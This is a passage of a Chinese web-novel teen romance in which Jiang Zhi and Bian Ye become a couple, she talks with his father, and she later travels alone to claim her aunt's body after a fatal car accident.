姜栀默不作声地吸了口气,侧过一点脑袋,试图入睡。 两分钟后—— “白司裴,你知道边野在哪儿的对不对?”她琥珀色瞳眸本身就清透,此刻似乎还带着点湿意。 他低笑一声,“我哪里知道,我们很久没联系了。” “不。”姜栀摇摇脑袋,“你知道的,求你,告诉我可以吗?” 她直勾勾地看着他,眼底有渴求,也有紧张。 白司裴原本是打定主意不说的,可这眼神他根本受不住。 他扶了扶眼镜框,半晌还是实话实说。 从医院到警局,半个小时的路程。 姜栀一路都很平静,只是眼神有点失焦。 到警局后,她跟着白司裴往里走。 没几步,边野跟着警员迎面而来。 姜栀呆呆站在原地,目光落在他脸上,青一块紫一块的,嘴角还有血渍。 那样深邃好看的五官,挂了彩,依然不减半点帅气。 看见她的那一瞬,边野面上的冷厉阴狠之色一瞬消散,只余惊愕。 “你……”怎么来了。 话刚出口,眼前单薄的身影风一样朝他奔来。 不顾及旁人的目光,紧紧抱住了他。 “边野……” 她踮着脚,一出声就哽咽得难以自控,晶莹的泪珠断了线似的掉下来。 白司裴远远看着,低叹了口气。 笑着转身离去。 边野怔忪片刻,很快回神,伸手拍着她的背。 动作轻柔。 “没事了,已经解决了,别怕,嗯?” 姜栀紧搂着他脖子,既不应他也不说话。 只一直掉眼泪。 边野看不见她的脸,只以为她是被吓怕了,不断地安抚着她。 直到滚烫的泪滑落在脖颈肌肤上,他拍抚的手一顿。 “知知?” 他蹙眉,想让她松手,却没拉动。 “知知,你怎么了?” “没。”她嗓子哑哑的,吸了吸鼻子,迅速用手擦掉脸上的泪才松手。 她眼眶红得像兔子,睫毛被眼泪打湿几根粘连着。 脸上的泪痕还在,瞳孔湿乎乎的。 边野心口像被人掐了一把,想到地下室那一幕,眼底有凶狠的戾气闪过,努力压了压,他喉结动了动,弯身替她擦脸。 “知知,不哭,程杭越那个畜生以后都不会再伤害到你了。” 姜栀眼底又蓄起泪,她摇摇头,“我是在担心你,你疼吗?” 边野眼睫颤了颤,黑色瞳眸晃动了下。 ——我是在担心你,你疼吗? “你说……什么?”心脏在胸口里怦怦直跳,他几乎以为自己听错了。 姜栀吸了吸鼻子,伸手轻轻抚摸他嘴角的伤,“疼吗?” 他摇头,“不疼。我送你回去。” 边野低眸准备牵她的手腕,却发现两个腕骨上都被包了纱布,他眉心忍不住蹙了下,转瞬即逝。牵着她手臂往外走,姜栀乖乖跟着他。 上了车,他吩咐司机:“回别墅。” “可以不回吗?”她迎上他的视线,轻软问道。 “嗯?” 姜栀乖乖看他,“去壹臣院吧,好吗?你的伤要上药的。” 边野愣了下,“没事,这点伤没多久就会好的。” “你不是听到老东西的话了吗,离我远点,我不想让你为难。” 莫名的,姜栀鼻子一酸。 她眼眶一红,透过泪意看他,“如果我说,我不想听边叔叔的话了呢。” “可以吗?” “……什么?”边野感觉自己像是幻听了一般。 什么叫不想听老东西的话。 眼泪啪嗒一下掉落,眼前是地下室里各种情景交替浮现。 姜栀很难过。 她那一刻都想过死掉,为什么是他来。 一次又一次,发了疯不要命的救她。 她忍不住扑进他怀里,紧紧抓着他衣服,肩膀忍不住抖动。 边野有点无措。 他第一次见她这样,一定是被吓坏了。 “边野。” 她脑袋埋在他怀里,少年胸肌结实,“你还喜欢我的对吗?” 边野搭在腿上的手缓缓收紧。 “你是好学生,以后要读很好的大学。”没见她的那一个月里,他一遍一遍地想,一次一次地反思,她这样好的女孩,是他配不上。 他不该用一句喜欢就强行闯入她的生活。 如果不是这次程杭越的事,他会努力克制自己不来见她。 姜栀咽了咽嗓子,抑制住泪意。 她从他怀里撤开,眼眸湿润地看着他,距离很近,她能看见他瞳眸里自己的身影。 “好。”她抹掉脸上的泪。 “那是不是……以后我读了大学,可以跟别的男生谈恋爱、牵手、接吻、然后结婚、生——” “姜栀。”边野淡着脸色打断她,“以后的事以后再说。” 这样的话只是从她嘴里说出来,他都觉得难以接受。 想到她要和别的男生接吻,他就嫉妒得发狂,也许还会控制不住自己,弄死他们。 姜栀看着他,敏锐地捕捉到他眼底一闪而过的不爽。 她伸出柔软的手,覆盖住他双眼。 边野蹙眉,想要说话,一个轻轻软软的吻落在脸颊上,带着浅浅的香气。 脑子像是炸了簇烟花,在寂夜里绚烂璀璨。 他呼吸滞涩一瞬,喉结滚动。 然后,又落下了个吻。 姜栀收回手,已经羞涩得脸颊绯红。 她努力去迎视他的目光,“你、你不给点反应吗?” 心脏在胸腔里疯狂乱跳,边野不可置信地盯着她。 他咽了咽嗓子,瞳眸黑沉得厉害,一把握住她手臂,把人往跟前一带,浓烈的情感在心底汹涌澎湃。 这一刻,他什么都不想在意了。 去他.妈的规矩,去他.妈的兄妹。 在边野亲下来的那一刹那,姜栀很及时地捂住了他的嘴。 “不可以,亲脸颊已经是……”她面红耳赤,话都快要说不清楚,羞涩难当,“已经是犯规了。” “草。” 边野血液都在发热,无数细胞在身体里躁动,“只许州官放火,不许百姓点灯?” 她耳根烧得厉害,好烫好烫。 恨不得找个地洞钻进去。 “反、反正不可以……嘴巴。”她坚决地捂着他,眼底是誓死抵抗的可爱。 边野被她气笑,“行,老子服你。” 他手臂一拉,姜栀轻而易举落进他怀里。 “既然开始是你提的,结束的主动权就得归我,知道吗?”他可以听得在一起,可听不了分手,他根本没办法想象。 “如果你敢跟老子提分手,我就先弄死你,再陪你一起死。”他佯装凶狠地吓唬她。 姜栀蹙眉,“你怎么这么霸道啊。” “老子一向这样,你第一天认识我?”他忍着笑挑眉,仍有种不真实感,“小女朋友,叫声男朋友听听?” “……不叫。”她羞得把脸往他肩窝里埋,车里还有司机师傅呢,好丢人啊。 她压着声音,闷闷的很可爱,“快闭嘴,不许再调戏我了。” “成。”边野把人紧紧抱在怀里。 不叫就不叫,只要你一直在就好了。 第40章 第 40 章 壹臣院。 姜栀到的时候情绪已经好很多了, 明明上次来这儿的时候还是上个学期,四处熟悉得却好像是昨天就来过。 “你在这坐着休息会儿,我去换个衣服。” “等下——” 姜栀拉住他衣角, “你的伤还没上药, 万一破伤风怎么办?” 即便只有很小的风险。 边野不以为意低笑, “男子汉流血不流泪, 这点小伤算什么。你饿吗?我让人送点吃的来。” “嗯……”她蹙眉, “不要转移话题。” 这态度摆明了就是不想管脸上的伤口了。 姜栀指了指沙发, “你在这坐着, 不许动。” 他挑眉,顺着她坐下。 眼看着她熟门熟路地去拿药箱,他随意地靠着沙发,唇角忍不住勾起,扯到伤口,引起一阵刺痛。 这顿打没有白挨。 姜栀拿着药箱过来时, 见他眼底还浮着笑意, 忍不住拧眉严肃脸,“你还笑,你多大啦?” “嗯,姜老师说的是。” 她在他跟前坐下,取出药膏,拿棉签仔细地给他涂抹,瞳眸干净纯粹。 “靠这么近,不怕我亲你啊?”边野凝着她, 忽然启唇。 “你——”她愣了下, 立马往后撤开,“你不许耍流氓。” 他握住她手腕, 指腹在她腕间摩挲,很细腻的触感,跟男人的硬朗完全不一样,“亲自己女朋友怎么算耍流氓?” “你、你不许说了。”姜栀耳根泛红。 边野低笑一声,“逗你的,别生气。” 姜栀没好气地瞪他一眼,安安静静给他涂药膏。 看到他眼角的伤口时,她手指一顿。 一道豁口,连着眼尾,再近点就要伤到眼球了。 她鼻子忽的一酸。 “怎么了?”察觉到她细微的情绪,边野出声问。 “没。”姜栀摇头,把酸涩压了回去。 “晚上想吃什么,我让人送。” 姜栀一边收拾药箱一边道:“都可以的,我不挑。” 他低笑一声,“你倒是好养活。” 今天精神紧绷了一天,姜栀吃完晚饭,洗了个澡就困倦得不行,几乎是沾床就睡。 夜色深寂,万分静谧。 但她皱着眉睡得很不安稳。 地下室里的事像个阴湿的噩梦,又一次缠上来,跟水鬼似的阴魂不散,她紧抓着被子。梦里浓烈的窒息感袭来,姜栀短促地惊叫一声,被猛的吓醒。 看到熟悉的房间,她松了口气,坐起来靠在床头,闭着眼平复紊乱的心跳。 又是这个梦。 已经是第二次了。 “知知?” 隔着门,外面传来边野带着紧张的声音,还有敲门声。 她没开灯,就着黑暗回应:“我没事的。” 下一秒,边野推门进来。 房间里一片昏暗,客厅的灯光透进来几许,他看见她发白的脸,状态看起来不是很好。 边野走近,才瞧见她额角边被汗打湿的碎发。 心口揪起,他放低声音,“做噩梦了吗?” 姜栀抬眼,于昏暗中看他。 少年轮廓模糊,眼神赤诚。 “几点啦?”她问了个不相关的问题。 “三点,怎么了?” 姜栀摇头,目光凝在他脸上,温温软软,“怎么不睡觉?是被我吵醒了吗?” “想什么呢?”他伸手在她脑袋上轻轻揉了揉,“我熬鹰呢,你这点小猫叫怎么可能吵得醒我。” 姜栀眼眶微微湿润,“好啦,你快回去睡觉吧,我没事的。” “嗯,看你睡着了我再走。” 姜栀弯了弯唇,重新躺下闭上眼睛。 他就这么安安静静地坐在床边,也不说话,目光温温地看着她。 直到听见她均匀的呼吸声,他才从房间里出去。 很轻地关上门。 回了卧室,边野拨了个电话出去。 窗外一片黑寂,他目光冰冷,即便她什么都没说,他也知道是因为什么。 “边少这么晚有什么事?” 那边传来恭敬的声音,他声音低沉:“程杭越这个人,我不想他明天还出现在圣嘉。” “啊?不是说这周……” 他眉目压下来,“是我说得不够明白?” “不不不,我这就去办。” 挂断电话,他揉了揉鼻梁,把手机往桌上一丢。 回头看了眼就在对面的客卧,他走进浴室重新冲了个澡。 天际大白。 姜栀醒来时已经八点多了,想到今天是周一,她吓了一跳,赶紧从床上起来换衣服,换到一半才意识到白司裴说边野帮自己请过假了。 “呼——” 她这两天真是精神紊乱了。 拍了拍脑袋,她过去开门。 轻手轻脚的,担心打扰到边野休息。 走出客卧,姜栀愣了下。 对面的主卧开着门,桌上摆着好几张卷子,她走过去,没在里面看见人。那些卷子勾勾画画的,看得出来做得很认真。 “刷牙了吗?过来吃早饭。” 身侧忽然传来低磁的声音,她回神,边野正拎着一堆早餐进来。 “……哦,好。”她乖乖跟过去。 餐桌上,姜栀坐在他对面,捧着杯豆浆,迟疑地问:“你昨晚……后来没睡吗?” 边野咬着三明治,“嗯,这不是马上要期末考试了吗?” “……哦。” 原来不是因为她。 “主要是怕你再做噩梦,我不能及时听见,时间也不剩多少,就懒得睡了。” 姜栀喝豆浆的动作一顿,看着他的眼神柔软。 少年懒散地靠着椅子,一举一动都很随性,甚至连因为担心她而整夜不睡这件事也风轻云淡得像今天天气很不错似的。 风透过窗户吹起边野卧室桌上的那些卷子,带起纸张交叠的猎猎之声。 很轻很轻。 她心口融化得一塌糊涂。 “傻了?看我这么久,动都不要动一下的?”边野黑眉微挑,忍不住逗她,“难道我已经帅到你都挪不开眼了?” “嗯。”她没否决,漂亮清透的眼眸亮晶晶的,“对呀。” 他原本还想调侃几句,听到她承认得这么顺畅倒是有些意外,“今天嘴怎么这么甜。” 姜栀一本正经:“我这是基于事实的夸奖。” 喝完最后一口豆浆,她试图商量:“我感觉今天已经好很多了,马上要期末考,我还是想去学校。” “嗯,我送你。” 这么好说话? 姜栀愣了下,就坡下驴,“好。” 到西区门口已经九点多,这个点同学们都在上课,校门口空空荡荡。 “要我送你进去吗?”他偏头看她,目光温柔。 姜栀摇摇头,“不用啦,我自己进去就好。” 她解开安全带,刚准备去开车门,左手就被他握住,“就这么走了?” “……啊?”姜栀呆了下,“还有什么事吗?” 女朋友又单纯又不粘人,一点体验感都没有。 边野无奈一笑,“没事,你进去吧。” “……哦。”她打开车门,一脚踏出车门又很快收了回来。 转身,飞速地抱住他。 耳根噌的红起来,她忍着羞涩在他耳边低声道:“谢谢你送我呀,男、朋、友。” 最后三个字,又轻又软,羽毛似的扫在边野心口上。 他眼眸颤动了下,还没来得及反应,她已经一阵风似的跑出去了。 背影纤柔轻盈。 边野低笑一声,心底的甜意跟拉丝的蜂蜜似的,在血液里急速涌动,“男朋友……” 草! 真他.妈甜。 靠着座椅,他嘴角忍不住勾起。 有种如梦似幻的感觉。 驱车去了金霆,宋言旭和几个富家公子哥已经在那等他。 “野哥!来一局?” 边野还没说话,宋言旭已经先一步开口,“去去去,野哥最近烦着呢,没心情。” “来。”他径直答应,拿过桌球球杆,“今天谁赢我,我请客。” “野哥大气啊!” 几个公子哥笑呵呵地擦着巧克粉,纷纷应承。 宋言旭惊呆了,凑到他边上,“卧槽,野哥你转性了?都人不人鬼不鬼的一个月了,今天太阳打西边出来了?” “滚。”边野懒懒睨他一眼。 “发生什么好事了?”宋言旭跟他肚子里的蛔虫似的。 他对着球打出去一杆,“离我远点,我不跟单身狗玩。” 宋言旭:“?” “??” “???” 他脑子飞速转动,“卧槽,姜妹妹不会成你女朋友了吧?” 几个公子哥闻言纷纷看向边野。 “有意见?”他挑眉。 气氛沉静了一瞬,几个人连连恭喜。 “卧槽野哥牛逼!” “那可是校花学霸,这都能搞定,今天咱们就算是输了也得请客吧野哥!” “就是啊野哥,这可是大喜事儿!” 宋言旭惊讶一瞬,但很快又想明白了,“野哥,你们该不会是昨天确定关系的吧?” “不行吗?”他头都没抬。 “当然行!野哥透露点呗,我最近也想跟个女孩儿表白,不知道送点什么,你都给姜妹妹送什么了?” 边野动作一顿,偏头看他一眼,“一定要准备吗?” 宋言旭:“……?” “肯定啊,女孩子最喜欢浪漫了。”转而一脸震惊,“你该不会什么都没给她准备吧?” 边野握着球杆,沉默两秒后把球杆一丢,“今天我买单,你们先玩。” 几个人面面相觑,“哎野哥,干嘛去啊?” 宋言旭笑眯眯地收回视线,一副老神在在的样子,“哄女朋友呗,还能干嘛。”- 放学后,姜栀坐了公交回了边家。 进客厅时,老边总正坐在沙发上喝茶。 “知知回来了啊。”他沉肃的面容温和一瞬。 “嗯。”她乖巧礼貌地喊他:“边叔叔好。” “最近学习怎么样,马上要高三了,别给自己太大压力。” “好。” 姜栀握着书包带子,欲言又止。 “知知是有什么事吗?”老边总目带疑惑。 “嗯……我可以跟您谈谈吗,关于边野。” 十分钟后。 楼上书房。 姜栀眼观鼻鼻观心地看他,声音温温软软:“边叔叔,您别生气。” “什么事儿神神秘秘的?臭小子他又闯祸了?”老边总眉头一皱。 她摇摇头,“没。” 暗自做了几遍心里建设,她迎着他的视线道:“我跟边野……在一起了。” 老边总脸色一变。 “那天您在病房里跟边野说的那些我其实都听到了,您不喜欢我们走得太近,我尽力按照您的想法去做,可……” “边野他是很好的人,我会努力带着他在学习上前进,让他不要再像曾经那样只知道吃喝玩乐,我能做的也只有这些,如果您还是生气就冲我来吧。” 姜栀低垂着眼睫,面露愧疚。 老边总没说话,就这么定定地望着她。 书房里安静至极。 半晌,他沉沉开口,“我不反对早恋,之前不同意,一方面是小野他不是普通人家的孩子,他未来要承担很多东西,也要肩负家族的命运,这些都不是能凭着冲劲就可以完成的。另一方面我以为是小野一厢情愿,没想到……” “这条路很辛苦,你想好了吗?” 姜栀以为他会直接下令让他们分手,没想到他会说这些,一时有些诧异。 她摇摇头,“我没想过那些。” “我想的最远的事,是和边野一起上大学,其他的我确实没有想过,但我是认真的,不是只想体验早恋的感觉。” 她眼神纯粹干净,很难令人不信。 老边总语重心长地叹了口气,“小野知道你来找我说这件事吗?” 姜栀摇头,“他不知道,我没告诉他。” “知知,你是个好孩子,一直以来都听话懂事,这件事确实在我意料之外,”老边总凝着她的脸,“如果我现在再说反对,是不是也没用?” 姜栀有点尴尬,态度仍旧礼貌,“我会尊重您的想法,但我会跟边野站在一起。” 老边总看着她,忍不住笑起来。 小姑娘看着乖巧温柔,骨子里还挺倔。 有些苦头不自己吃过旁人怎么劝都没用,即便他现在不反对,也并不认为他们能长久。 但这些,他没打算说给她听。 “事已至此,我有几个要求要跟你说清楚。”老边总敛起笑意,神色严肃了点,“小野如今成绩基本还是垫底,马上就是高三,你们要在一起,也要给我看看你们的决心……” 书房之下的客厅。 边野进玄关看见老边总的鞋,眉头一凝,问管叔:“他回来了?” 管叔愣了下,很快反应过来,“是,边总回来有一会儿了,这会儿正跟知知谈事儿呢。” 谈事? 边野面色沉了几分,他们能有什么事好谈? 脑子里一瞬间闪过什么,他眼前一冷,大步流星地冲上楼。 “这些你确定你都可以接受并且做到吗?”老边总神色淡然地询问。 姜栀认真点头,“我会努力做到的,请您——” 书房“砰”一声被大力推开,撞在墙上发出闷重的声音。 突兀地打断了她的话。 “边野?” 看他一脸冰冷,她呆萌地眨了眨眼。 边野迅速扫她一眼,见她情绪正常,压下了心底的怒意,护犊子似的把人护在身后。 “你有意见不满冲我来,为难她一个小姑娘算什么男人?” 语气冰沉。 姜栀呆了下。 老边总被他这一出气笑,故意板着脸唬他:“臭小子,跟你爸就这么说话,老子是对你太好了是吧?信不信我给你卡停了?” “随你。”他眼神冰冷,锐利如鹰隼。 “你想做什么我不管,但别碰我的人。我不在乎姓边还是姓什么,也不在乎你那些资产,你爱给谁给谁,但如果你要插手我的事,为难她,我跟你拼命。” 一脸认真凝肃,没半点玩笑味。 被护在身后的姜栀心脏漏跳一拍,她看着眼前身形高挺的少年,脊背宽阔,也有顶天立地的模样。 “还跟我拼命,我看你是要上天!”老边总又气又想笑,板着脸冲他发火,“老子是你爹!” 姜栀赶紧拉了拉他衣摆,“边叔叔没有为难我,你别这么说。” 他回头看她一眼,那双琥珀色眼眸清亮认真。 “真的,我没说谎。” 边野眼底的戾气这才散去一些,随后盯着老边总道:“我再说一次,她是我要护着的人,不光是这一次,以后的每一次都别想动她。” 不顾老边总的反应,他拉上姜栀就走。 速度飞快。 直到进了他自己的卧室,他才放手。 “真没哪里不舒服?”边野弯身看她,语调温和,眼底透着紧张。 姜栀轻笑出声,抬手去抚他皱起的眉头,“我真的没事,你以后不要总是皱眉,皱眉就不好看啦。” “今天是我主动去找边叔叔谈话的,我把我们的事情告诉他了。” 她温温软软,看着像个糯米团子,令人忍不住产生保护欲,可已经先一步走在他面前,替他去承担本不属于她的风霜。 他喉咙紧涩一瞬。 “边叔叔没有为难我,反而教我怎么去延长我们的恋爱关系。所以呀边野,你不要生边叔叔的气了好吗,也许他从前做过很多错事,我也没资格替你去原谅他,但还是希望你开心一点。” 姜栀声音温柔,像春水一般。 边野看着她,漆黑的瞳眸里浮动起光泽。 一把将人拉进怀里,结结实实地抱住。 “怎么啦?”她摸不清状况,软软问出声,伸手轻轻拍了拍他的后背。 “没事。”他闭着眼睛默不作声地将气息沉下去,“我只是好久没见你,想你了。” 姜栀眉眼弯了弯,“也就几个小时呀,哪有很久。” 他勾唇,低声道:“我度秒如年。” 边野就这么抱着她,房间里安安静静。 许久后,才把人放开。 “抱好啦?”她眨巴着眼睛,看人时甜到心底。 “抱是抱好了,但——”他低笑一声,故意贴近她。 姜栀及时捂住他嘴,一本正经:“不可以哦。” 边野被她可爱到,忍不住轻笑出声。 “眼睛闭上。” 姜栀愣了下:“……嗯?” 他耐心道:“闭眼。” 姜栀听话地乖乖闭眼。 片刻后,脖子上忽然一凉。 “好了。” 她睁开眼,被他推到镜子前,“喜欢吗?” 透过镜子,姜栀看着脖子上的水滴形项链,缀着精致小巧的碎钻,愣了下。 “这个很贵重吧,我不能收。” 她说着要取下来,被他按住,“昨天太临时,没有给你准备好礼物,不值钱,你要是不收,我可是会不高兴的。” 要是宋言旭知道,估计白眼都要翻上天了。 这一条项链都能抵宿城一套房好吧! 姜栀有点尴尬,耳尖泛红,“可是我还没给你准备礼物。” “所以——”他看着她这幅软乎乎的样子缓缓勾唇,“我要收点利息。” “什么?” “让我再抱一会儿。” 边野往沙发上一坐,把人拉到腿上,脑袋懒散地搭在她肩窝里。 “你……很累吗?” 她声音很轻地问。 “嗯。”在外跑了一天,好不容易才买到这份适合她的礼物。 “那我帮你按按吗?”她偏头看着他侧颜。 “没事,我靠会就好了。” 姜栀这么背靠着他坐着有点不适应,轻轻动了动。见他闭着眼没什么反应,试图继续扭动缓慢变幻姿势。 “别动。”边野忽然睁眼,眸色晦暗下来。 “怎么了?”她回头看他,刚问就觉得身下有什么东西硬巴巴的,“那个……你口袋里是不是放了什么东西。”比如钥匙什么的。 “有点硌。” 边野掀起眼皮看她,见她一脸单纯,声音沙哑:“你要是再动,就要起火了。” 他气息浓烈。 “……什、什么火?” 姜栀一脸疑惑。 “你说呢?”他喉结滚动,故意调侃她。 感受到身下越来越硌,她后知后觉地反应过来那是什么,皙白的脸颊一瞬蹿红,耳朵烧得滚烫。 “你、你……” 她羞涩得舌头打结,话都说不清楚,猛地从他身上起来,咬着唇瓣脚底生火地跑出去。 边野无可奈何地勾唇,垂眸看了眼。 裤子都要撑破的程度。 他舌尖抵了抵牙关,气笑,还真是……只管惹火不管灭火。【你现在阅读的是 】 40-50 第41章 第 41 章 期末考试结束后, 第二天成绩就出来了。 姜栀还是稳定第一,毫无悬念。 但比起自己的分数,她更关心边野的。 东区文科一共243个学生, 他这一次排218。 姜栀小脸凝重, 对着他的分数和排名看了许久, 久到边野以为她睡着了。 他挠了挠脑袋, “实在不行就不学了, 卷子认得我我都一定认得它。” “不行。”她抬头, 眉眼间都是认真。 姜栀轻微叹了口气, “我知道你已经很努力了,也许还是不擅长学习,但没关系,走到哪里就算哪里好吗,千万别放弃。” 他被那双眼里的坚持打动,“嗯。” “不过我在这方面确实没什么天分, 还有一年, 不管好坏,都听你的,至少先坚持下去。” 姜栀嘴角微微弯起,“你有什么想去的城市吗,我可以提前给你规划下,有个目标也许会有更好的效果。” 她脑子里牢牢记着答应边叔叔的那三件事。 ——“第一就是他的成绩,我要看到明显的提升,至少要比现阶段明显。 第二我不希望再看见他动不动就暴力解决事情的事发生。 最后一点说简单也简单, 他是个男人, 如果一时上头……总之,你是女孩子, 要保护好自己,学生阶段不要越界,什么该做什么不该做,想必你懂我的意思。” 见她有些出神,边野一手懒散地搭在她身后的椅背上,“我没什么想去的,你去哪儿我就去哪儿。” “你是不是已经想好去哪了。” 他记得之前曾问过,那时候她什么都没说,可她看得出来,她有心事。 姜栀眼睫微动,默了会儿道:“也许……会去盐城吧。” “盐城?”他愣了下,眉头皱起,“距离宿城一千多公里,也没这里发展得好,怎么会想去那儿?” “因为——”她想起前世那张令人恶寒的脸,扯了扯唇角,“那边可以看到雪。” “就因为这个?”边野眼底疑惑不减。 “嗯。”她浅浅笑起来。 这一世走到现在,每一步都比上辈子好,她不知道怎么去避开那件事,也许走得远远的,就不会遇见那个人。 她想活着,不想那么早就死去。 她眼底还有笑意,可边野却觉得她周深蔓延着一股淡淡的忧伤。 “知知,”他盯着那双漂亮动人的眼睛,“你是不是有心事?” “啊?”姜栀回过神来,摇摇头,声音温温:“没有呀,盐城年年下雪,比这里大很多,一定很好看。” “对了,我一会儿给你做个暑期计划表吧,要认真去执行哦。” 既然她不想说,边野也没再追问,唇角勾了勾,“嗯,都听姜老师的。” “暑假也要回去吗?” 姜栀点点头:“嗯,回去看看爷爷奶奶,我想他们了。” 前世她是八月份回去的,但爷爷奶奶都是七月初就去世了,她不敢赌,现在离七月还有几天,她得回去看着。 至少,她要知道上辈子那个时候到底发生了多严重的事。 边野:“那我送你。” “不用啦,我已经买了中午的票,坐车回去就好啦。这次不要再开那么久的车来找我了,很辛苦的,知道嘛?” 他心情愉悦地挑眉,“心疼男朋友就早点回来。” 姜栀认真思考了下,“我尽量。” 他低笑一声,伸手捏住她脸颊,触感细腻又柔软,“你怎么这么可爱。” 姜栀:“……” 把暑期计划都给他做好了后,她又叮嘱了很多事项才回孟城。 老两口看到她都高兴得合不拢嘴。 “你爷爷一大早就在阳台上看,一天都不知道看了多少次,就盼着你回来呢。”老太太帮着她拉着行李,一脸慈爱。 姜爷爷觉得没面子,故意板着脸,“我这是晒太阳,顺便看看风景,你懂什么。” “是是是,我还没见过哪个大夏天的晒太阳。”老太太推着她去洗手,“奶奶给你做了你最爱吃的粉蒸肉,一会儿多吃点。” 姜栀眉眼弯弯,心底暖融融的,“好,谢谢奶奶。”转头看了眼爷爷,“也谢谢爷爷等我一天。” 她走进卫生间洗手,隔着门听老两口斗嘴,心口微微发涨。 回家的感觉真好。 吃饭的时候,老两口一直关心她这学期过得好不好,姜栀为了让他们放心,说了很多趣事儿,逗得他们脸上笑意就没掉下来过。 吃到尾声时,她眼神认真道:“爷爷奶奶,学校给大家布置了个任务,让暑假的时候多和亲人相处,主动帮长辈做家务,至少一个月,还要写一篇很详细的感受类作文。 所以……你们七月份可以一直待在家里,不出远门吗?” “我还以为是什么大事儿,你说什么就是什么,一切以你的学习任务为主,我跟你奶奶大不了这个月就在小区里晃晃,这有什么。” 老太太也一脸慈祥应和,“最近也越来越热了,出去人都要中暑的,哪有家里舒服。” 姜栀默默松了口气,温声道:“也不是不让你们出去,就是……如果一定要出远门,千万告诉我,别瞒着我就好。” “我跟你奶奶在这住了一辈子了,还能去哪儿。”姜爷爷嗔笑。 “嗯。”她乖巧回应,眼底蔓延出温柔。 回了房间,姜栀正准备收拾行李就接到了边野的视频电话,犹豫了两秒,还是接通。 看到他上半身没穿,腰间只围了个浴巾,猛地用手挡住脸,面红耳赤地结结巴巴:“你、你怎么不、不穿衣服……” 边野把手机放在桌上靠着,勾唇:“看不出来我想色.诱你啊?” 姜栀耳朵红得滴血,“你、你这样我要挂了。” “别啊。”他捞过睡衣穿上,“睁眼。” “真、真穿上了?” “不然呢,美男出浴图可是要按时收费的,你以为想看就看啊。”他挑眉戏谑。 姜栀露出一条指缝,看到他真规规矩矩穿了衣服才松了口气,但面颊依旧赤红,在灯光下跟水蜜桃似的。 柔柔软软,让人想亲。 边野想了她一天,刚又洗了澡,热血沸腾的,喉结忍不住滚动。干脆直接拿了卷子出来做。 “这么晚还做题吗?”姜栀有些惊讶。 他头都没抬,心烦意乱的,一道题目看了好几遍还没看明白意思,“这要是考不上大学,你给我丢了怎么办。” “不会。”她想都没想,脱口而出。 回应得速度太快,姜栀自己都愣了下。 边野低笑一声,“没看出来,你对我感情这么深啊?” 那双眼里赤.裸.裸的调侃,她羞窘地错开视线,“不跟你说了,你快做题,我去收拾行李。” 姜栀把手机放在一边,认真地整理起东西来。 安静的氛围里,她不时能听见笔在纸上摩擦的声音,很轻微,像窗外被夏风吹过的树叶,偶尔簌簌。 整理完东西,抬头见他对着道题眉头紧拧着,手中笔迟迟不下,模样纠结,姜栀忍不住轻轻弯唇。 已经不是第一次见他这么认真做题,她偶尔会想起曾经会所里放荡不羁的少年,近得好像伸手就能触摸到,但定睛时,那轮廓却在模糊。 陪着他做题到十一点,姜栀才挂断视频入睡。 在孟城待着的每一天她都格外关注着爷爷奶奶的一举一动,每度过月初的一天,她就松口气,然后第二天胸口又忍不住提起一口气。 她从未觉得假期如此难熬过,眼看着时间在日历上一步步往月尾走,姜栀紧绷的神经逐渐松懈下来。 看着日历写的7.26,她不由冒出侥幸的想法来。 爷爷奶奶已经安全度过了七月初,是不是说明上辈子的事不会再发生,爷爷奶奶也不会那么早就离开她。 姜栀坐在沙发上望着日历发呆,直到嘹亮的手机铃声响起,她猛地回神,赶紧拿过茶几上爷爷的手机接通。 “您好,是姜若瑜的家属吗?” 姜栀愣了下,沉默了两秒才应:“是。” “是这样,姜若瑜女士在南市发生了车祸,抢救无效死亡,家属请尽快到南市人民医院处理后续事宜。” 姜栀瞳眸微动,那边电话挂了还没回神。 “知知,”姜爷爷打开卧室门,看见她拿着自己的手机,问:“谁打来的电话啊?” 他午睡,忘记把手机带进去,被吵醒反应了会儿才意识到是手机响了。 “……啊?” 她听到问话忽的回神,唇瓣动了动,扯出一抹笑来,“诈骗,是诈骗电话。” 姜爷爷眉头一皱,“诈骗电话可不能接。” “嗯,我记住了。”她把号码拉黑删除后递过去,温声道:“爷爷您继续去午睡吧。” 等卧室门关上,她在沙发上呆坐了会儿,起身回房,用手机搜索南市。 两百公里,还好,不是很远。 她默不作声地买了最近的票,五点半。 买票的这一分钟里,她想好了。姑姑车祸去世这件事暂时不能告诉爷爷奶奶,爷爷的病不能受刺激,即便姑姑再可恨,但好歹也是爷爷奶奶养大的女儿,这样的噩耗对他们来说无疑是沉痛一击。 沉了口气,她简单地收了几件衣服,带够钱后写了张纸条放在客厅桌。 ——朋友来了孟城,我去接待一下。 临走前,她回头看了眼。 然后拎着行李箱悄无声息地走出去。 南市离得不远,跟孟城发展得速度差不多。 姜栀第一次来这儿,多少有点局促。 这件事她来处理,目前来说,应该是最合适的。 只是不知道医院肯不肯同意。 她坐在车上靠着椅背,脑子里堆满了愁绪。 到南市人民医院时已经是八点。 姜栀把行李箱放在门口,走到护士站台那边问:“你好,我是姜若瑜的家属,你们白天通知我过来认领遗体的。” 护士立马查了查,“哦,姜若瑜是吧,在太平间,联系好殡葬机构了吗?” 她摇头,“还没。” 护士皱眉,“你们家大人呢,怎么你一个孩子来?” 姜栀握住手心,让自己不要慌乱,“我是她唯一的亲人,其他人都跟她断绝联系了,联系不上。” 护士看了她一眼,“行吧,赶紧联系殡葬吧。” “好,”姜栀温声应下,“我可以先去看她一眼吗?” “行。” 医院里永远不缺病人,她跟着医生去太平间的一路上,人越来越稀少。 还没进去时,里面就传来绝望的哭嚎,冰冷的地方充满了酸涩痛苦的泪水。 她不是第一次经历这种事,爸妈那次…… 姜栀眨了眨眼,把过往的回忆挥去,让自己不要去想。 “这个就是,尽快联系殡葬。” 她点头,看着将人遮盖起来的白布,回头平静地问:“她是怎么出车祸的?” 医生淡淡道:“警察已经来过,拒报案人说,姜女士欠了不少外债没还,他们去催债的时候,她不肯给就逃跑,跑得过程中没注意路上车辆往来,被辆大货车撞了。具体理赔事宜可以去警局。” “谢谢。” 姜栀走过去,掀起白布,露出那张苍白死气的脸。 姜若瑜其实跟爸爸长得有七分像,她眼前一瞬恍惚,不受控制地想起爸妈在医院被宣布死亡的场景。 心脏上好像长出细密的刺,隐隐作痛。 她想起上一次见面,姜若瑜在家里砸了好多东西,把爷爷奶奶气得够呛。 再上一次,是前世爷爷奶奶去世后的葬礼后,她哭着赶回来,整个人撕心裂肺得像是要死掉。 她想进去灵堂看看,却被姜若瑜推搡地撞到桌子,额角磕红了一大片。 